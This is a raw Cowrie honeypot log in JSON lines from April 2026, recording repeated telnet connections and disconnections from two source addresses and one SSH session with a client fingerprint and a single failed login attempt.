{"eventid":"cowrie.session.closed","duration":30.8592050075531,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:04.071510Z","src_ip":"69.6.225.50","session":"aa68e576c912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754242658615112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:04.163733Z","src_ip":"69.6.225.50","session":"9bb4aa5fc5b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685760259628296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.050348Z","src_ip":"69.6.225.50","session":"a37afd227b5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697126150131226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.055598Z","src_ip":"69.6.225.50","session":"06a396c687da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993046522140503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.069019Z","src_ip":"69.6.225.50","session":"a1f5806bb9a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.456704139709473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.102125Z","src_ip":"69.6.225.50","session":"cf4531bd9700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405232906341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.106103Z","src_ip":"69.6.225.50","session":"51d83065a7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.306055784225464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.262321Z","src_ip":"69.6.225.50","session":"5761b1c09b77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40260,"dst_ip":"159.203.135.109","dst_port":23,"session":"124bb210140f","protocol":"telnet","message":"New connection: 69.6.225.50:40260 (159.203.135.109:23) [session: 124bb210140f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.367242Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58298,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c91c72d0ee2","protocol":"telnet","message":"New connection: 144.79.218.12:58298 (10.17.0.5:23) [session: 4c91c72d0ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.405907Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40272,"dst_ip":"159.203.135.109","dst_port":23,"session":"68f256aac90e","protocol":"telnet","message":"New connection: 69.6.225.50:40272 (159.203.135.109:23) [session: 68f256aac90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.421902Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40278,"dst_ip":"159.203.135.109","dst_port":23,"session":"0832af65b59c","protocol":"telnet","message":"New connection: 69.6.225.50:40278 (159.203.135.109:23) [session: 0832af65b59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.512427Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40286,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b212606dc81","protocol":"telnet","message":"New connection: 69.6.225.50:40286 (159.203.135.109:23) [session: 6b212606dc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.694806Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40252,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4781f491fa6","protocol":"telnet","message":"New connection: 69.6.225.50:40252 (159.203.135.109:23) [session: e4781f491fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.767408Z"}
{"eventid":"cowrie.session.closed","duration":34.95934534072876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.784361Z","src_ip":"144.79.218.12","session":"ee4e3f486985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58308,"dst_ip":"10.17.0.5","dst_port":23,"session":"30bdfd0f59e3","protocol":"telnet","message":"New connection: 144.79.218.12:58308 (10.17.0.5:23) [session: 30bdfd0f59e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:05.881955Z"}
{"eventid":"cowrie.session.closed","duration":30.745563983917236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.074226Z","src_ip":"69.6.225.50","session":"95fd25c0fd8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235663175582886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.143091Z","src_ip":"69.6.225.50","session":"000c64659430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80755090713501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.155113Z","src_ip":"69.6.225.50","session":"1f0e06b49fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90926742553711,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.291410Z","src_ip":"144.79.218.12","session":"704b8e342bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40296,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c054ab2001b","protocol":"telnet","message":"New connection: 69.6.225.50:40296 (159.203.135.109:23) [session: 6c054ab2001b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.363805Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40298,"dst_ip":"159.203.135.109","dst_port":23,"session":"673ec8db978d","protocol":"telnet","message":"New connection: 69.6.225.50:40298 (159.203.135.109:23) [session: 673ec8db978d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.401596Z"}
{"eventid":"cowrie.session.closed","duration":30.581491708755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.455202Z","src_ip":"69.6.225.50","session":"8ae19e81cf9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40308,"dst_ip":"159.203.135.109","dst_port":23,"session":"815cf8ee9115","protocol":"telnet","message":"New connection: 69.6.225.50:40308 (159.203.135.109:23) [session: 815cf8ee9115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.544208Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40314,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df2e3837a06","protocol":"telnet","message":"New connection: 69.6.225.50:40314 (159.203.135.109:23) [session: 3df2e3837a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.782295Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40326,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb3a384e10b2","protocol":"telnet","message":"New connection: 69.6.225.50:40326 (159.203.135.109:23) [session: cb3a384e10b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:06.975252Z"}
{"eventid":"cowrie.session.closed","duration":36.16097378730774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:07.278980Z","src_ip":"144.79.218.12","session":"874894f7bc69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84447979927063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:07.284263Z","src_ip":"69.6.225.50","session":"75a4642ed68a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40330,"dst_ip":"159.203.135.109","dst_port":23,"session":"545596654bc9","protocol":"telnet","message":"New connection: 69.6.225.50:40330 (159.203.135.109:23) [session: 545596654bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:07.439435Z"}
{"eventid":"cowrie.session.closed","duration":36.07860708236694,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:07.483433Z","src_ip":"144.79.218.12","session":"81f7cb1203ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.074440240859985,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:07.491703Z","src_ip":"144.79.218.12","session":"8072f9858712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35619831085205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:07.789355Z","src_ip":"69.6.225.50","session":"e620fc4a2d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754752159118652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.075742Z","src_ip":"69.6.225.50","session":"c388cae46104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.334445476531982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.083748Z","src_ip":"69.6.225.50","session":"16f17c0c1cb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58312,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d1d31a6b246","protocol":"telnet","message":"New connection: 144.79.218.12:58312 (10.17.0.5:23) [session: 1d1d31a6b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.272624Z"}
{"eventid":"cowrie.session.closed","duration":37.47448706626892,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.315957Z","src_ip":"144.79.218.12","session":"4bb94a4fe9c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36692,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0c8026af98","protocol":"telnet","message":"New connection: 69.6.225.50:36692 (159.203.135.109:23) [session: 7e0c8026af98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.421922Z"}
{"eventid":"cowrie.session.closed","duration":31.214729070663452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.560135Z","src_ip":"69.6.225.50","session":"f666784c770b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.552337646484375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.651264Z","src_ip":"69.6.225.50","session":"ce10ae8c1b47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36706,"dst_ip":"159.203.135.109","dst_port":23,"session":"859b25fc6c30","protocol":"telnet","message":"New connection: 69.6.225.50:36706 (159.203.135.109:23) [session: 859b25fc6c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.666938Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36722,"dst_ip":"159.203.135.109","dst_port":23,"session":"2142c04a1a43","protocol":"telnet","message":"New connection: 69.6.225.50:36722 (159.203.135.109:23) [session: 2142c04a1a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:08.739555Z"}
{"eventid":"cowrie.session.closed","duration":30.987593173980713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.157877Z","src_ip":"69.6.225.50","session":"7c91846e121e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562365531921387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.252426Z","src_ip":"69.6.225.50","session":"c9dc2ef4e708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36738,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff53d519718","protocol":"telnet","message":"New connection: 69.6.225.50:36738 (159.203.135.109:23) [session: bff53d519718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.492074Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36746,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a23aa169190","protocol":"telnet","message":"New connection: 69.6.225.50:36746 (159.203.135.109:23) [session: 2a23aa169190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.541202Z"}
{"eventid":"cowrie.session.closed","duration":30.91532278060913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.545996Z","src_ip":"69.6.225.50","session":"5a5cef1bbbda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34971857070923,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.768300Z","src_ip":"144.79.218.12","session":"79447f717b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52150,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7b54886bb0e","protocol":"ssh","message":"New connection: 159.203.92.129:52150 (159.203.135.109:22) [session: d7b54886bb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.958796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.963554Z","src_ip":"159.203.92.129","session":"d7b54886bb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.967879Z","src_ip":"159.203.92.129","session":"d7b54886bb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alara","password":"alara","message":"login attempt [alara/alara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:09.978502Z","src_ip":"159.203.92.129","session":"d7b54886bb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20886754989624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:10.435307Z","src_ip":"69.6.225.50","session":"89b9b57b9893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36762,"dst_ip":"159.203.135.109","dst_port":23,"session":"252889aef33c","protocol":"telnet","message":"New connection: 69.6.225.50:36762 (159.203.135.109:23) [session: 252889aef33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:10.684112Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:10.984345Z","src_ip":"159.203.92.129","session":"d7b54886bb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.978394985198975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:11.061170Z","src_ip":"69.6.225.50","session":"764ddb8f41f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54835295677185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:11.070234Z","src_ip":"69.6.225.50","session":"976016574b72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36788,"dst_ip":"159.203.135.109","dst_port":23,"session":"3576c30b711a","protocol":"telnet","message":"New connection: 69.6.225.50:36788 (159.203.135.109:23) [session: 3576c30b711a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:11.610086Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36778,"dst_ip":"159.203.135.109","dst_port":23,"session":"719727252dcf","protocol":"telnet","message":"New connection: 69.6.225.50:36778 (159.203.135.109:23) [session: 719727252dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:12.036794Z"}
{"eventid":"cowrie.session.closed","duration":30.348678588867188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:12.049317Z","src_ip":"69.6.225.50","session":"8d5cd4d3eeab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62452530860901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:12.083562Z","src_ip":"69.6.225.50","session":"deb2ab02cd29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.937013387680054,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:12.239746Z","src_ip":"144.79.218.12","session":"8037e1ea667a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.287211656570435,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:12.357332Z","src_ip":"144.79.218.12","session":"bbd56636b7f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36798,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a3d30560957","protocol":"telnet","message":"New connection: 69.6.225.50:36798 (159.203.135.109:23) [session: 9a3d30560957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:12.362215Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36810,"dst_ip":"159.203.135.109","dst_port":23,"session":"296bf9d79ace","protocol":"telnet","message":"New connection: 69.6.225.50:36810 (159.203.135.109:23) [session: 296bf9d79ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:12.592417Z"}
{"eventid":"cowrie.session.closed","duration":30.328102588653564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:13.057198Z","src_ip":"69.6.225.50","session":"e3f026ae72b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37177014350891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:13.068720Z","src_ip":"69.6.225.50","session":"cd048c38fc30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36818,"dst_ip":"159.203.135.109","dst_port":23,"session":"38cabdd5fbc5","protocol":"telnet","message":"New connection: 69.6.225.50:36818 (159.203.135.109:23) [session: 38cabdd5fbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:14.014159Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36832,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b78b9df0cc","protocol":"telnet","message":"New connection: 69.6.225.50:36832 (159.203.135.109:23) [session: 33b78b9df0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:14.262728Z"}
{"eventid":"cowrie.session.closed","duration":30.906598806381226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:14.458247Z","src_ip":"69.6.225.50","session":"db8d24189891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36842,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf73ec9ebb4","protocol":"telnet","message":"New connection: 69.6.225.50:36842 (159.203.135.109:23) [session: 1bf73ec9ebb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:14.689846Z"}
{"eventid":"cowrie.session.closed","duration":31.296815633773804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:14.726653Z","src_ip":"69.6.225.50","session":"f5bc766d0181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53962755203247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:14.942576Z","src_ip":"69.6.225.50","session":"7e5690c78a08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.6279239654541,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:15.120912Z","src_ip":"144.79.218.12","session":"c52ddf5b8c02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36854,"dst_ip":"159.203.135.109","dst_port":23,"session":"78819dcff42f","protocol":"telnet","message":"New connection: 69.6.225.50:36854 (159.203.135.109:23) [session: 78819dcff42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:15.165594Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36856,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae646ef4bca4","protocol":"telnet","message":"New connection: 69.6.225.50:36856 (159.203.135.109:23) [session: ae646ef4bca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:15.335825Z"}
{"eventid":"cowrie.session.closed","duration":30.90475368499756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.057821Z","src_ip":"69.6.225.50","session":"2f6ba61978d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36866,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3ad29be5fd9","protocol":"telnet","message":"New connection: 69.6.225.50:36866 (159.203.135.109:23) [session: b3ad29be5fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.116429Z"}
